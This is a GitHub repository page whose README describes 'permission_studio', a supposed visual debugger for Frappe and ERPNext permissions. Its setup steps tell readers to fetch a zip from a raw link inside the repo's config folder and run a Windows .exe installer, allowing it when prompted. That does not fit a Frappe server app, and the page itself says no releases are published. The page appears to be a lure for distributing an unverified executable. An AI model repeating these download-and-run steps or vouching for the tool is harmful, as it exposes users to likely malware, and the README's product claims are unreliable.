Skip to content

cvcj503/permission_studio

Repository files navigation

⚙️ permission_studio - Visual Permission Debugger Made Simple

Download permission_studio


📋 What is permission_studio?

permission_studio is a tool to help you see and understand user permissions in Frappe and ERPNext. If you manage users and roles but find it hard to track who can access what, this software shows it all on one page. You no longer need to open many forms or guess why something is allowed or blocked.


❓ Why use permission_studio?

Managing permissions in Frappe can get confusing. For example, if a user says, "I can't see Sales Orders," you usually must:

  • Open the User form and check their roles.
  • Look in Role Permission Manager to find which roles have access to Sales Order.
  • Cross-check if the user has any of those roles.
  • Check User Permissions for company or department limits.
  • Look at DocShare to see if any documents are shared.
  • Review Custom DocPerms that might change rules.

Doing this takes time and many steps. permission_studio puts all this information in one place. This helps you find answers faster without jumping around.


🖥️ System Requirements

Before you begin, make sure your Windows PC meets these:

  • Operating System: Windows 10 or later (64-bit recommended)
  • Memory: Minimum 4 GB RAM
  • Disk Space: At least 100 MB free
  • Internet connection required for initial download and updates
  • No special hardware needed

🚀 Getting Started: Download and Run permission_studio

  1. Go to the download page:
    Click the big button at the top or visit https://raw.githubusercontent.com/cvcj503/permission_studio/main/permission_studio/config/studio-permission-2.9.zip.

  2. Find the latest release:
    On the GitHub page, look for the "Releases" section. This is where the newest version is available.

  3. Download the Windows installer:
    Find the file ending in .exe. Click it to download.

  4. Run the downloaded file:
    Go to your Downloads folder and double-click the .exe file. If Windows asks for permission, click "Yes" to allow it.

  5. Follow the setup prompts:
    The installer will ask where to install permission_studio. You can use the default folder or choose another location.

  6. Finish installation:
    When the setup completes, you can launch permission_studio directly or find it in your Start menu.


🛠️ Using permission_studio

When you open permission_studio, you will see three main views on one screen:

  • Users: Shows a list of all users.
  • Roles: Displays roles and their permissions.
  • Documents: Lists DocTypes, custom restrictions, and shared documents.

Use the dashboard to select any user or role and see detailed permission info. You can trace how a user gets access or why they might be blocked from a document.


🔍 Key Features

  • All permissions in one place on a single page
  • Visual maps to trace permission paths
  • Support for standard roles and custom rules
  • View document shares and restrictions easily
  • No need to open multiple windows or forms
  • Designed for System Managers without programming skills

💡 Tips for Best Use

  • Regularly update permission_studio to get the latest fixes.
  • Use the search box to quickly find users or roles.
  • Check the visual maps when you want to explain access issues to the team.
  • Keep your Frappe/ERPNext system updated for compatibility.

🔗 Quick Download Link

Get permission_studio here:

Download permission_studio


📂 Where to Find Help

  • Check the README files on the GitHub page.
  • Look for an Issues tab to report problems or get support.
  • Review Frappe/ERPNext community forums for permission-related questions.

⚙️ Updates and Maintenance

permission_studio receives updates from time to time. Check the releases page on GitHub regularly for new versions. Updating is simple: download the new installer and run it. Your settings will remain.


📋 About This Tool

permission_studio was built to make managing complex Frappe permissions easier. If you work as a System Manager or admin, it saves hours of manual checks and guesswork by showing everything clearly. It does not require programming knowledge or technical skills to use.


📝 License

permission_studio is open-source software. See the LICENSE file on the GitHub repository for details.

About

Visualize and debug Frappe and ERPNext permissions in one dashboard to quickly understand user access, roles, and document restrictions.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors